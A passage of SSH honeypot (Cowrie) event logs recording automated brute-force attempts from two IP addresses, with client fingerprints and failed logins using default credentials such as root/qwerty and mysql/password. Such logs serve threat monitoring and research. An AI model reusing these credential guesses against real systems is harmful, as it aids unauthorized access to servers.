t-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:44:09.765819Z","src_ip":"5.196.136.131","session":"56d6052178d9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"asterisk","password":"asterisk","message":"login attempt [asterisk/asterisk] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:44:09.990026Z","src_ip":"5.196.136.131","session":"56d6052178d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:44:11.067405Z","src_ip":"5.196.136.131","session":"56d6052178d9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":61975,"dst_ip":"10.17.0.5","dst_port":22,"session":"7045e7fb3313","protocol":"ssh","message":"New connection: 5.196.136.131:61975 (10.17.0.5:22) [session: 7045e7fb3313]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:44:14.135594Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:44:14.139280Z","src_ip":"5.196.136.131","session":"7045e7fb3313","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:44:14.218136Z","src_ip":"5.196.136.131","session":"7045e7fb3313","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nexus","password":"nexus","message":"login attempt [nexus/nexus] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:44:14.454821Z","src_ip":"5.196.136.131","session":"7045e7fb3313","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:44:15.535920Z","src_ip":"5.196.136.131","session":"7045e7fb3313","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":30590,"dst_ip":"10.17.0.5","dst_port":22,"session":"14575e9e0f99","protocol":"ssh","message":"New connection: 5.196.136.131:30590 (10.17.0.5:22) [session: 14575e9e0f99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:44:18.642103Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:44:18.645517Z","src_ip":"5.196.136.131","session":"14575e9e0f99","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:44:18.776397Z","src_ip":"5.196.136.131","session":"14575e9e0f99","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rancher","password":"rancher","message":"login attempt [rancher/rancher] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:44:19.008998Z","src_ip":"5.196.136.131","session":"14575e9e0f99","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:44:20.088324Z","src_ip":"5.196.136.131","session":"14575e9e0f99","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":9611,"dst_ip":"10.17.0.5","dst_port":22,"session":"2d3240465d7b","protocol":"ssh","message":"New connection: 5.196.136.131:9611 (10.17.0.5:22) [session: 2d3240465d7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:44:23.043187Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:44:23.046821Z","src_ip":"5.196.136.131","session":"2d3240465d7b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:44:23.123853Z","src_ip":"5.196.136.131","session":"2d3240465d7b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"dev","message":"login attempt [dev/dev] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:44:23.393228Z","src_ip":"5.196.136.131","session":"2d3240465d7b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:44:24.473295Z","src_ip":"5.196.136.131","session":"2d3240465d7b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":23063,"dst_ip":"10.17.0.5","dst_port":22,"session":"f07140216434","protocol":"ssh","message":"New connection: 5.196.136.131:23063 (10.17.0.5:22) [session: f07140216434]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:44:27.481818Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:44:27.488706Z","src_ip":"5.196.136.131","session":"f07140216434","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:44:27.565557Z","src_ip":"5.196.136.131","session":"f07140216434","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"p@ssw0rd","message":"login attempt [root/p@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:44:27.797511Z","src_ip":"5.196.136.131","session":"f07140216434","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:44:28.876857Z","src_ip":"5.196.136.131","session":"f07140216434","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":29144,"dst_ip":"10.17.0.5","dst_port":22,"session":"df48cc4066dd","protocol":"ssh","message":"New connection: 5.196.136.131:29144 (10.17.0.5:22) [session: df48cc4066dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:44:31.986850Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:44:31.990625Z","src_ip":"5.196.136.131","session":"df48cc4066dd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:44:32.066721Z","src_ip":"5.196.136.131","session":"df48cc4066dd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test123","message":"login attempt [test/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:44:32.297659Z","src_ip":"5.196.136.131","session":"df48cc4066dd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:44:33.379497Z","src_ip":"5.196.136.131","session":"df48cc4066dd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":38891,"dst_ip":"10.17.0.5","dst_port":22,"session":"0fd2257c4c33","protocol":"ssh","message":"New connection: 5.196.136.131:38891 (10.17.0.5:22) [session: 0fd2257c4c33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:44:36.391424Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:44:36.398067Z","src_ip":"5.196.136.131","session":"0fd2257c4c33","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:44:36.475306Z","src_ip":"5.196.136.131","session":"0fd2257c4c33","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deployer","password":"deployer","message":"login attempt [deployer/deployer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:44:36.711373Z","src_ip":"5.196.136.131","session":"0fd2257c4c33","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:44:37.791193Z","src_ip":"5.196.136.131","session":"0fd2257c4c33","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.176","src_port":36758,"dst_ip":"10.17.0.5","dst_port":22,"session":"b3f2ce375e4b","protocol":"ssh","message":"New connection: 91.92.40.176:36758 (10.17.0.5:22) [session: b3f2ce375e4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:44:39.128563Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:44:39.132516Z","src_ip":"91.92.40.176","session":"b3f2ce375e4b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:44:39.217351Z","src_ip":"91.92.40.176","session":"b3f2ce375e4b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"password","message":"login attempt [mysql/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:44:39.481624Z","src_ip":"91.92.40.176","session":"b3f2ce375e4b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:44:40.580104Z","src_ip":"91.92.40.176","session":"b3f2ce375e4b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":28231,"dst_ip":"10.17.0.5","dst_port":22,"session":"6798e22ff382","protocol":"ssh","message":"New connection: 5.196.136.131:28231 (10.17.0.5:22) [session: 6798e22ff382]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:44:40.797027Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:44:40.801168Z","src_ip":"5.196.136.131","session":"6798e22ff382","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:44:40.877403Z","src_ip":"5.196.136.131","session":"6798e22ff382","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerty","message":"login attempt [root/qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:44:41.108479Z","src_ip":"5.196.136.131","session":"6798e22ff382","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:44:42.187997Z","src_ip":"5.196.136.131","session":"6798e22ff382","protocol":"ssh"}
